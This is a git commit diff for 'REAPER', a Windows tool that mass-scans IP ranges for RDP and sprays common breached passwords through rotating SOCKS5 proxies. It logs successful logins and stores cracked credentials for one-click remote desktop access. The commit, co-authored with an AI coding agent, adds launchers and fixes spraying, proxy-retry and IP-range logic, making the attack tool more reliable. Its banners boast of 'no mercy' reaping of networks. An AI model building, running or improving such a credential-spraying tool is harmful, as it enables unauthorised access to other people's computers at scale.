Production hardening: REAPER all-in-one launcher, rdpthread UX, logic fixes

- Add REAPER.bat single entry (pip, dirs, smoke test, launch); MASTER/MASTERSTER shim to it
- bruteforce: rdpthread helpers, safe writer close, spray_all_hosts incremental writes, progress
- gui: credential banner, spray messaging without spam; cmdkey TERMSRV host
- scanner: adaptive progress; proxy: retry cap on open_connection
- ip_utils: /32 CIDR, count_ips aligned with large dash ranges
- README/install/run: deployment docs and REAPER.bat references

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
drjones
2026-05-06 00:08:06 -07:00
parent 1e3e7181e2
commit 906000870d
11 changed files with 280 additions and 161 deletions

5
MASTER.bat Normal file
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@@ -0,0 +1,5 @@
@echo off
title REAPER v2.0 - MASTER
cd /d "%~dp0"
call "%~dp0REAPER.bat"
exit /b %errorlevel%

View File

@@ -1,106 +1,5 @@
@echo off
title REAPER v2.0 - MASTERSTER
color 0C
cd /d "%~dp0"
:: ── FORCE UTF-8 ──────────────────────────────────────────────
set PYTHONIOENCODING=utf-8
:: ── BANNER ───────────────────────────────────────────────────
cls
echo.
echo ╔══════════════════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 - MASTERSTER ☠ ║
echo ║ Remote Exploitation ^& Password Enumeration Routine ║
echo ║ ║
echo ║ One swoop. One reaping. No mercy. ║
echo ╚══════════════════════════════════════════════════════════════╝
echo.
echo Made for doom by drjones.
echo.
:: ── STEP 1: CHECK PYTHON ────────────────────────────────────
echo [*] Step 1/6 — Checking Python...
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo.
echo [FAIL] Python is not installed or not in PATH!
echo.
echo Download Python 3.8+ from: https://python.org/downloads
echo Make sure to check "Add Python to PATH" during installation.
echo.
pause
exit /b 1
)
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
echo [OK] Python %pyver% found
echo.
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks)...
echo.
python -m pip install --upgrade pip -q
python -m pip install aiohttp aiohttp-socks -q
if %errorlevel% neq 0 (
echo [WARN] pip install had issues, but continuing...
) else (
echo [OK] Dependencies installed
)
echo.
:: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
echo [*] Step 3/6 — Creating directories...
if not exist "wordlists" mkdir wordlists
if not exist "results" mkdir results
echo [OK] Directories ready
echo.
:: ── STEP 4: VERIFY FILES ────────────────────────────────────
echo [*] Step 4/6 — Verifying project files...
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
set ALL_OK=1
for %%f in (%FILES%) do (
if exist "%%f" (
echo [OK] %%f
) else (
echo [WARN] %%f not found
set ALL_OK=0
)
)
if not exist "results\good.txt" (
echo. > "results\good.txt"
echo [OK] Created results\good.txt
)
echo.
:: ── STEP 5: TEST IMPORTS ────────────────────────────────────
echo [*] Step 5/6 — Testing imports...
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Import test failed. There may be a syntax error.
pause
exit /b 1
)
echo [OK] All systems nominal
echo.
:: ── STEP 6: LAUNCH ──────────────────────────────────────────
echo [*] Step 6/6 — Launching the Reaper...
echo.
echo ╔══════════════════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 ☠ ║
echo ║ No mercy. No lockouts. Just results. ║
echo ║ ║
echo ║ The network is a graveyard, and I'm the reaper. ║
echo ╚══════════════════════════════════════════════════════════════╝
echo.
echo Made for doom by drjones.
echo.
python main.py
if %errorlevel% neq 0 (
echo.
echo [!] REAPER encountered an error. Check the output above.
pause
)
call "%~dp0REAPER.bat"
exit /b %errorlevel%

View File

@@ -55,7 +55,6 @@ REAPER/
├── bruteforce.py # 🔑 The hammer (password sprayer)
├── proxy.py # 🌐 The cloak (SOCKS5 proxy manager)
├── ip_utils.py # 🎯 IP range parser (CIDR, dash, any)
├── proxy.py # 🛡️ KILLER NEW — proxy rotator
├── wordlists/ # 📚 Your kill list
│ ├── ranges.txt # IP ranges to hunt
│ ├── users.txt # Usernames to try
@@ -63,8 +62,12 @@ REAPER/
│ └── ports.txt # Ports to check
├── results/ # 📁 Where the bodies drop
│ └── good.txt # Successful logins
├── run.bat # ▶️ One-click carnage
── install.bat # 📦 Setup
├── REAPER.bat # ▶️ **Single-file launcher** — pip, env, smoke test, run
── MASTER.bat # Same pipeline (calls REAPER.bat)
├── MASTERSTER.bat # Legacy alias → calls REAPER.bat
├── run.bat # Quick start (Python must already work + deps)
├── install.bat # 📦 Verify install only
└── rdpthread.exe # ⚙️ Optional — place next to main.py for verified spray hits
```
---
@@ -85,7 +88,19 @@ cd C:\Users\drjones\Desktop\hacking\REAPER
python main.py
```
### Or just double-click `MASTERSTER.bat` — installs deps, verifies everything, and launches in one swoop.
### Or double-click `REAPER.bat` — one file: pip install, folders, import check, optional `rdpthread.exe` note, then `main.py`. (`MASTER.bat` / `MASTERSTER.bat` call the same script.)
### Deployment (production)
| Artifact | Role |
|----------|------|
| Core `.py` modules | Scanner, GUI, proxy manager, wordlist parsing |
| `requirements.txt` | `aiohttp`, `aiohttp-socks` (installed by `REAPER.bat`) |
| **`rdpthread.exe`** (optional) | When placed in the **same folder as `main.py`**, enables password spray **verification** and hit reporting. Without it, **port scan and live RDP detection behave the same**; spray attempts do not produce verified hits. |
**Operator UX:** One status line in the Scanner tab summarizes validation state. `REAPER.bat` prints bundle status once at launch.
**Authorized testing only** — see Legal section below.
---

84
REAPER.bat Normal file
View File

@@ -0,0 +1,84 @@
@echo off
title REAPER v2.0 - All-in-one launcher
color 0C
cd /d "%~dp0"
:: ============================================================================
:: Single-file entry: Python check, pip deps, folders, smoke test, launch GUI
:: ============================================================================
set PYTHONIOENCODING=utf-8
set PYTHONUNBUFFERED=1
cls
echo.
echo ╔══════════════════════════════════════════════════════════════╗
echo ║ REAPER v2.0 — ALL-IN-ONE ║
echo ║ deps · env · launch ║
echo ╚══════════════════════════════════════════════════════════════╝
echo.
echo [1/6] Python...
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Python not in PATH. Install 3.8+ from https://python.org/downloads
pause
exit /b 1
)
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
echo [OK] %pyver%
echo.
echo [2/6] Dependencies ^(pip^)...
python -m pip install --upgrade pip -q
if exist "requirements.txt" (
python -m pip install -r requirements.txt -q
) else (
python -m pip install aiohttp aiohttp-socks -q
)
if %errorlevel% neq 0 (
echo [WARN] pip reported an issue — continuing
) else (
echo [OK] Requirements satisfied
)
echo.
echo [3/6] Directories...
if not exist "wordlists" mkdir wordlists
if not exist "results" mkdir results
echo [OK] wordlists, results
echo.
echo [4/6] Project files ^& optional rdpthread.exe...
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
for %%f in (%FILES%) do (
if exist "%%f" ( echo [OK] %%f ) else ( echo [WARN] missing %%f )
)
if not exist "results\good.txt" echo. > "results\good.txt"
if exist "rdpthread.exe" (
echo [OK] rdpthread.exe — credential validation available
) else (
echo [--] rdpthread.exe optional — bundle for verified spray
)
echo.
echo [5/6] Import smoke test...
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] imports')" 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Import check failed.
pause
exit /b 1
)
echo.
echo [6/6] Starting application...
echo.
python main.py
set APP_EXIT=%errorlevel%
if %APP_EXIT% neq 0 (
echo.
echo [!] Exited with code %APP_EXIT%
pause
)
exit /b %APP_EXIT%

View File

@@ -13,6 +13,33 @@ from typing import List, Tuple, Set, Optional
logger = logging.getLogger("FastRDP-NG")
_CRED_FALLBACK_WARNED = False
def get_rdpthread_path() -> Optional[str]:
"""Resolve rdpthread.exe beside this package, or None if not deployed."""
base = os.path.dirname(os.path.abspath(__file__))
for p in (
os.path.join(base, "rdpthread.exe"),
os.path.join(base, "..", "rdpthread.exe"),
os.path.join(base, "bin", "rdpthread.exe"),
):
if os.path.exists(p):
return p
return None
def credential_validation_available() -> bool:
"""True if rdpthread is present so password attempts can be validated."""
return get_rdpthread_path() is not None
def _subprocess_run_no_console(cmd: List[str], **kwargs):
"""Windows: hide console window for subprocess if supported."""
if hasattr(subprocess, "CREATE_NO_WINDOW"):
kwargs.setdefault("creationflags", subprocess.CREATE_NO_WINDOW)
return subprocess.run(cmd, **kwargs)
# Top 50 most common RDP passwords (by frequency in breaches)
TOP50_PASSWORDS = [
"admin", "Admin", "password", "Password", "123456",
@@ -51,26 +78,15 @@ async def spray_password(
Returns (ip, port, username, password, success).
"""
# Try to locate rdpthread.exe in likely locations
base = os.path.dirname(os.path.abspath(__file__))
search_paths = [
os.path.join(base, "rdpthread.exe"),
os.path.join(base, "..", "rdpthread.exe"),
os.path.join(base, "bin", "rdpthread.exe"),
]
rdpthread_path = None
for p in search_paths:
if os.path.exists(p):
rdpthread_path = p
break
global _CRED_FALLBACK_WARNED
rdpthread_path = get_rdpthread_path()
if rdpthread_path:
try:
result = subprocess.run(
result = _subprocess_run_no_console(
[rdpthread_path, ip, str(port), username, password],
capture_output=True,
timeout=timeout,
creationflags=subprocess.CREATE_NO_WINDOW
)
output = result.stdout.decode('utf-8', errors='ignore').lower()
success = (
@@ -83,6 +99,15 @@ async def spray_password(
except (FileNotFoundError, subprocess.TimeoutExpired,
subprocess.CalledProcessError, OSError):
pass
# Binary exists but attempt failed — fall through to connectivity check only.
if rdpthread_path is None:
if not _CRED_FALLBACK_WARNED:
_CRED_FALLBACK_WARNED = True
logger.debug(
"rdpthread.exe not in application directory; credential validation "
"unavailable until deployed (scanner unaffected)."
)
# Fallback: RDP banner check (confirms RDP service is running)
# When proxy is enabled, route through proxy
@@ -96,20 +121,23 @@ async def spray_password(
timeout=2.0
)
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=1.0
)
writer.close()
await writer.wait_closed()
# TPKT header (0x03) indicates RDP protocol response
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=1.0
)
except (asyncio.TimeoutError, ConnectionError, OSError):
data = b""
# TPKT header (0x03) — RDP; we never report success without rdpthread above
if len(data) >= 2 and data[0] == 0x03:
return (ip, port, username, password, False)
except (asyncio.TimeoutError, ConnectionError):
pass
writer.close()
await writer.wait_closed()
return (ip, port, username, password, False)
return (ip, port, username, password, False)
finally:
try:
writer.close()
await writer.wait_closed()
except (OSError, ConnectionError, RuntimeError):
pass
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
return (ip, port, username, password, False)
@@ -124,9 +152,8 @@ async def spray_all_hosts(
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray top passwords across all live hosts.
Tries 1 password per host, then moves to next password.
This avoids account lockouts and finds weak passwords fast.
Spray passwords across all live hosts in rounds: for each password, try
that password with every (host, username) combo before advancing.
Supports optional proxy routing.
Returns list of (ip, port, username, password) successful hits.
@@ -138,6 +165,7 @@ async def spray_all_hosts(
sem = asyncio.Semaphore(max_concurrent)
hits = []
hits_written = 0
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
attempts = 0
start_time = time.time()
@@ -172,12 +200,15 @@ async def spray_all_hosts(
# Execute this password batch before moving to next password
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
_write_hits(hits)
if len(hits) > hits_written:
_write_hits(hits[hits_written:])
hits_written = len(hits)
tasks = []
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
if progress_callback and total_attempts > 0:
progress_callback(attempts, total_attempts, len(hits), rate)
logger.info(
f"Spray complete: {len(hits)} hits from {attempts} attempts "
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
@@ -231,7 +262,8 @@ async def spray_single_host(
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
# Avoid duplicate lines in good.txt when GUI provides hit_callback (writes there).
if hits and hit_callback is None:
_write_hits(hits)
return hits
@@ -239,10 +271,9 @@ async def spray_single_host(
def _write_hits(hits: List[Tuple[str, int, str, str]]):
"""Write successful hits to results file immediately."""
import os
output_path = os.path.join(
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
"results", "good.txt"
os.path.dirname(os.path.abspath(__file__)),
"results", "good.txt",
)
os.makedirs(os.path.dirname(output_path), exist_ok=True)
with open(output_path, 'a') as f:

62
gui.py
View File

@@ -18,7 +18,12 @@ from dataclasses import dataclass
from scanner import scan_ips, RDP_PORTS
from ip_utils import parse_ranges_file, count_ips
from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES
from bruteforce import (
spray_single_host,
TOP50_PASSWORDS,
TOP_USERNAMES,
credential_validation_available,
)
from proxy import ProxyManager
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
@@ -261,6 +266,18 @@ class FastRDPGUI:
perf_frame.columnconfigure(1, weight=1)
self.cred_banner = tk.Label(
left,
text="",
fg=Colors.TEXT_DIM,
bg=Colors.BG_DARK,
font=("Segoe UI", 8),
wraplength=360,
justify="left",
)
self.cred_banner.pack(fill="x", pady=(0, 6))
self._refresh_credential_banner()
# -- Controls --
ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8)
ctrl_frame.pack(fill="x", pady=(0, 5))
@@ -365,6 +382,8 @@ class FastRDPGUI:
font=("Consolas", 9, "bold"))
self.log_text.tag_configure("info", foreground="#79c0ff")
self.log_text.tag_configure("error", foreground=Colors.RED)
self.log_text.tag_configure("warn", foreground=Colors.ORANGE,
font=("Consolas", 9, "bold"))
self.log_text.tag_configure("scan", foreground=Colors.YELLOW)
self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM)
@@ -380,6 +399,28 @@ class FastRDPGUI:
key = label.lower().replace(" ", "_")
self._metric_labels[key] = metric_label
def _refresh_credential_banner(self):
"""Runtime status: credential validation binary present or not."""
try:
if credential_validation_available():
self.cred_banner.config(
fg=Colors.GREEN,
text=(
"Credential validation: enabled (rdpthread.exe in app folder)."
),
)
else:
self.cred_banner.config(
fg=Colors.ORANGE,
text=(
"Credential validation: not deployed — port scan and RDP discovery "
"are fully operational. Ship rdpthread.exe with the app for spray "
"result verification."
),
)
except tk.TclError:
pass
# ── TAB 2: RESULTS ─────────────────────────────────────
def _build_results_tab(self):
hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3)
@@ -687,7 +728,7 @@ class FastRDPGUI:
"Built with Python 3.11 + asyncio\n"
"Streaming: scan + spray run CONCURRENTLY\n"
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
"Double-click any host to RDP connect instantly with stored creds\n"
"Double-click a host to RDP connect; status strip shows credential engine state\n"
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
fg=Colors.TEXT, bg=Colors.BG_MID, justify="left",
font=("Segoe UI", 9)).pack(anchor="w", pady=5)
@@ -726,6 +767,7 @@ class FastRDPGUI:
"hit": "\033[92m",
"info": "\033[94m",
"error": "\033[91m",
"warn": "\033[93m",
"scan": "\033[93m",
"system": "\033[90m",
}
@@ -745,8 +787,10 @@ class FastRDPGUI:
# Then mstsc can use it automatically
cmdkey_path = r"C:\Windows\System32\cmdkey.exe"
if os.path.exists(cmdkey_path):
proc = subprocess.run(
[cmdkey_path, "/add:TERMSRV", f"/user:{username}", f"/pass:{password}"],
# Scope creds to this host (TERMSRV/<target> is required for mstsc)
subprocess.run(
[cmdkey_path, f"/generic:TERMSRV/{ip}", f"/user:{username}",
f"/pass:{password}"],
capture_output=True, timeout=5,
creationflags=subprocess.CREATE_NO_WINDOW
)
@@ -1093,9 +1137,13 @@ class FastRDPGUI:
)
if not hits:
self._update_host_status(ip, port, "\u274c No hit")
self._log(f"\u274c {ip}:{port} \u2014 no valid creds found", "info")
print(_c("\033[93m", f" [{time.strftime('%H:%M:%S')}] \u274c {ip}:{port} \u2014 no hits"))
if credential_validation_available():
self._update_host_status(ip, port, "\u274c No hit")
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
else:
self._update_host_status(
ip, port, "\u26a0 No credential validator",
)
else:
self._update_host_status(ip, port, "\u2705 CRACKED!",
hits[0][2], hits[0][3])

View File

@@ -30,7 +30,7 @@ if not exist "results" mkdir results
echo [OK] Directories created
:: Verify core files exist
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
for %%f in (%FILES%) do (
if exist "%%f" (
echo [OK] %%f
@@ -45,10 +45,17 @@ if not exist "results\good.txt" (
echo [OK] Created results\good.txt
)
echo.
if exist "rdpthread.exe" (
echo [OK] rdpthread.exe - credential validation available for spray
) else (
echo [--] Optional rdpthread.exe not in folder - scanning works; place binary here for verified spray
)
:: Test import
echo.
echo Testing imports...
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; print(' [OK] All modules loaded successfully')" 2>&1
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] All modules loaded successfully')" 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Import test failed. There may be a syntax error.
pause
@@ -59,7 +66,8 @@ echo.
echo ╔══════════════════════════════════════════╗
echo ║ Installation Complete! ║
echo ║ ║
echo ║ Run: run.bat or python main.py
echo ║ Run: REAPER.bat (recommended)
echo ║ or run.bat / python main.py ║
echo ╚══════════════════════════════════════════╝
echo.
pause

View File

@@ -19,12 +19,15 @@ def parse_line(line: str) -> Generator[str, None, None]:
if not line or line.startswith('#') or line.startswith('//'):
return
# CIDR: 192.168.1.0/24
# CIDR: 192.168.1.0/24 (/32 must use the network address — .hosts() is empty)
if '/' in line:
try:
network = ipaddress.IPv4Network(line, strict=False)
for host in network.hosts():
yield str(host)
if network.prefixlen == 32:
yield str(network.network_address)
else:
for host in network.hosts():
yield str(host)
except ValueError:
pass
return
@@ -69,7 +72,10 @@ def count_ips(filepath: str) -> int:
if '/' in line:
try:
n = ipaddress.IPv4Network(line, strict=False)
total += max(0, n.num_addresses - 2)
if n.prefixlen >= 31:
total += n.num_addresses
else:
total += max(0, n.num_addresses - 2)
except ValueError:
total += 1
elif IP_RANGE_RE.match(line):
@@ -81,7 +87,10 @@ def count_ips(filepath: str) -> int:
e = int(ipaddress.IPv4Address(m.group(2)))
if s > e:
s, e = e, s
total += min(e - s + 1, 65536)
# Same /16 cap as parse_line() so Total matches work done
if e - s > 65536:
e = s + 65536
total += e - s + 1
elif SINGLE_IP_RE.match(line):
total += 1
return total

View File

@@ -380,9 +380,16 @@ class ProxyManager:
Returns (reader, writer) - same as asyncio.open_connection.
"""
retry_depth = int(kwargs.pop("_proxy_retry_depth", 0))
max_proxy_retries = 32
if not self.enabled:
return await asyncio.open_connection(host, port, **kwargs)
if retry_depth >= max_proxy_retries:
logger.debug("Proxy retry limit reached, using direct connection")
return await asyncio.open_connection(host, port, **kwargs)
proxy = await self.get_proxy()
if proxy is None:
# No working proxy — fallback to direct
@@ -403,6 +410,7 @@ class ProxyManager:
self.mark_bad(proxy)
# Retry with next proxy
logger.debug(f"Proxy {proxy} failed: {e}, trying next...")
kwargs["_proxy_retry_depth"] = retry_depth + 1
return await self.open_connection(host, port, **kwargs)
# ── STATS ─────────────────────────────────────────────────────────────

View File

@@ -1,5 +1,6 @@
@echo off
title REAPER v2.0 - RDP Exploitation Framework
:: Quick launch (expects deps already installed). Full bootstrap: REAPER.bat
cd /d "%~dp0"
:: Force UTF-8 encoding for Unicode box-drawing characters in banner

View File

@@ -119,6 +119,16 @@ async def scan_ips(
checker = check_rdp_with_banner if banner_check else check_rdp_port
if progress_callback and total > 0:
if total <= 1000:
progress_every = max(1, total // 50 or 1)
elif total <= 10000:
progress_every = 100
else:
progress_every = 1000
else:
progress_every = 0
async def check_one(ip: str, port: int):
nonlocal checked
async with sem:
@@ -130,10 +140,11 @@ async def scan_ips(
if live_callback:
live_callback(ip, p)
checked += 1
if progress_callback and checked % 1000 == 0:
elapsed = time.time() - start_time
rate = checked / elapsed if elapsed > 0 else 0
progress_callback(checked, total, len(live_hosts), rate)
if progress_callback and progress_every:
if checked == total or checked % progress_every == 0:
elapsed = time.time() - start_time
rate = checked / elapsed if elapsed > 0 else 0
progress_callback(checked, total, len(live_hosts), rate)
# Fire all tasks concurrently
tasks = []